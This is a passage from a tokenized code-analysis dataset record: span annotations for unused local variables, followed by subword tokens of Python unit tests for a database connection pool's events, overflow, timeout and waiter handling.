"c2 ", "start_line": 482, "start_column": 8, "end_line": 482, "end_column": 10 }, { "span": "c1 ", "start_line": 488, "start_column": 8, "end_line": 488, "end_column": 10 }, { "span": "c2 ", "start_line": 490, "start_column": 8, "end_line": 490, "end_column": 10 }, { "span": "c4 ", "start_line": 970, "start_column": 12, "end_line": 970, "end_column": 14 }, { "span": "c3 ", "start_line": 970, "start_column": 17, "end_line": 970, "end_column": 19 }, { "span": "c5 ", "start_line": 978, "start_column": 17, "end_line": 978, "end_column": 19 }, { "span": "c6 ", "start_line": 978, "start_column": 22, "end_line": 978, "end_column": 24 }, { "span": "c2 ", "start_line": 987, "start_column": 12, "end_line": 987, "end_column": 14 }, { "span": "c1 ", "start_line": 999, "start_column": 8, "end_line": 999, "end_column": 10 }, { "span": "c2 ", "start_line": 1000, "start_column": 8, "end_line": 1000, "end_column": 10 }, { "span": "c3 ", "start_line": 1001, "start_column": 8, "end_line": 1001, "end_column": 10 }, { "span": "c4 ", "start_line": 1004, "start_column": 12, "end_line": 1004, "end_column": 14 }, { "span": "c1 ", "start_line": 1104, "start_column": 8, "end_line": 1104, "end_column": 10 }, { "span": "c2 ", "start_line": 1105, "start_column": 8, "end_line": 1105, "end_column": 10 }, { "span": "c3 ", "start_line": 1106, "start_column": 8, "end_line": 1106, "end_column": 10 }, { "span": "c1 ", "start_line": 1204, "start_column": 16, "end_line": 1204, "end_column": 18 }, { "span": "c2 ", "start_line": 1356, "start_column": 8, "end_line": 1356, "end_column": 10 }, { "span": "c1 ", "start_line": 1358, "start_column": 8, "end_line": 1358, "end_column": 10 }, { "span": "c1 ", "start_line": 1519, "start_column": 12, "end_line": 1519, "end_column": 14 }, { "span": "c2 ", "start_line": 1521, "start_column": 12, "end_line": 1521, "end_column": 14 }, { "span": "c3 ", "start_line": 1525, "start_column": 12, "end_line": 1525, "end_column": 14 }, { "span": "conns ", "start_line": 1711, "start_column": 8, "end_line": 1711, "end_column": 13 }, { "span": "c2 ", "start_line": 1764, "start_column": 8, "end_line": 1764, "end_column": 10 }, { "span": "c1 ", "start_line": 1951, "start_column": 8, "end_line": 1951, "end_column": 10 }, { "span": "c3 ", "start_line": 1962, "start_column": 8, "end_line": 1962, "end_column": 10 }, { "span": "c1 ", "start_line": 1979, "start_column": 8, "end_line": 1979, "end_column": 10 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "first", "\\u", "connect", "\\u", "event_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "first", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "first", "\\u", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "first", "\\u", "connect", "\\u", "event", "\\u", "fires", "\\u", "once_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "first", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "first", "\\u", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "first", "\\u", "connect", "\\u", "on", "\\u", "previ", "ously", "\\u", "recreate", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "first", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p2_", "=_", "p_", "._", "recreate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p2_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "first", "\\u", "connect", "'_", ",_", "'", "first", "\\u", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "first", "\\u", "connect", "\\u", "on", "\\u", "subsequen", "tl", "y", "\\u", "recreate", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "first", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "p_", "._", "recreate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p2_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "first", "\\u", "connect", "'_", ",_", "'", "first", "\\u", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connect", "\\u", "event_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connect", "\\u", "event", "\\u", "fires", "\\u", "subsequen", "t_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "connect", "'_", ",_", "'", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connect", "\\u", "on", "\\u", "previ", "ously", "\\u", "recreate", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p2_", "=_", "p_", "._", "recreate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p2_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "connect", "'_", ",_", "'", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connect", "\\u", "on", "\\u", "subsequen", "tl", "y", "\\u", "recreate", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "connect", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "p_", "._", "recreate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p2_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "connect", "'_", ",_", "'", "connect", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "check", "out", "\\u", "event_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "check", "out", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "check", "out", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "check", "out", "\\u", "event", "\\u", "fires", "\\u", "subsequen", "t_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "check", "out", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "check", "out", "'_", ",_", "'", "check", "out", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Event", "s", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "check", "out", "\\u", "event", "\\u", "on", "\\u", "subsequen", "tl", "y", "\\u", "recreate", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", ",_", "canar", "y_", "=_", "self_", "._", "\\u", "check", "out", "\\u", "event", "\\u", "fixture_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "p_", "._", "recreate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p2_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq\\u_", "(_", "canar", "y_", ",_", "[_", "'", "check", "out", "'_", ",_", "'", "check", "out", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "do", "\\u", "test", "queue", "pool_", "(_", "self_", ",_", "usec", "lose", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "queue", "pool", "\\u", "fixture_", "(_", "pool", "\\u", "size_", "=_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "overflow", "_", "=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "status_", "(_", "pool_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "pool_", "._", "size_", "(_", ")_", ",_", "pool_", "._", "checke", "din", "_", "(_", ")_", ",_", "pool_", "._", "overflow", "_", "(_", ")_", ",_", "pool_", "._", "checke", "dout", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "0_", ",_", "-_", "2_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "0_", ",_", "-_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c3_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "0_", ",_", "0_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c4_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "0_", ",_", "1_", ",_", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c5", "_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "0_", ",_", "2_", ",_", "5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c6", "_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "0_", ",_", "3_", ",_", "6_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "usec", "lose", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c4_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c3_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c4_", "=_", "c3_", "=_", "c2_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lazy", "\\u", "gc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "3_", ",_", "3_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "usec", "lose", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c5", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c6", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c1_", "=_", "c5", "_", "=_", "c6", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lazy", "\\u", "gc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "3_", ",_", "0_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "1_", ",_", "0_", ",_", "2_", ")_", ",_", "status_", "(_", "p_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "usec", "lose", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c2_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c2_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lazy", "\\u", "gc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "status_", "(_", "p_", ")_", "==_", "(_", "3_", ",_", "2_", ",_", "0_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lazy", "\\u", "gc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "pool_", "._", "\\u", "refs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "testing_", "._", "requires_", "._", "tim", "ing", "\\u", "inten", "sive", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "timeout_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "queue", "pool", "\\u", "fixture_", "(_", "pool", "\\u", "size_", "=_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "overflow", "_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c3_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c4_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tsa", "_", "._", "exc_", "._", "Time", "out", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "int_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "now_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "overflow", "\\u", "reset", "\\u", "on", "\\u", "fail", "ed", "\\u", "connect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dbapi_", "=_", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "faili", "ng", "\\u", "dbapi_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Exception_", "(_", "\"", "connecti", "on", " ", "fail", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "creator_", "=_", "dbapi_", "._", "connect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "creator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "pool_", "._", "Queue", "Pool_", "(_", "creator_", "=_", "create_", ",_", "pool", "\\u", "size_", "=_", "2_", ",_", "max", "\\u", "overflow", "_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "self_", "._", "\\u", "with", "\\u", "teardown_", "(_", "p_", "._", "connect_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "self_", "._", "\\u", "with", "\\u", "teardown_", "(_", "p_", "._", "connect_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c3_", "=_", "self_", "._", "\\u", "with", "\\u", "teardown_", "(_", "p_", "._", "connect_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "p_", "._", "\\u", "overflow", "_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "creator_", "=_", "faili", "ng", "\\u", "dbapi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "raises_", "(_", "Exception_", ",_", "p_", "._", "connect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "p_", "._", "\\u", "overflow", "_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "testing_", "._", "requires_", "._", "thread", "ing", "\\u", "with", "\\u", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "testing_", "._", "requires_", "._", "tim", "ing", "\\u", "inten", "sive", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "waiter", "s", "\\u", "handled_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "test", " ", "tha", "t", " ", "thread", "s", " ", "wait", "ing", " ", "for", " ", "connections", " ", "are", "\\", "10", ";", " ", " ", " ", " ", "handle", "d", " ", "whe", "n", " ", "the", " ", "pool", " ", "is", " ", "replaced", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mutex_", "=_", "threading_", "._", "Lock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbapi_", "=_", "Moc", "k", "DBA", "PI_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "creator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutex_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dbapi_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutex_", "._", 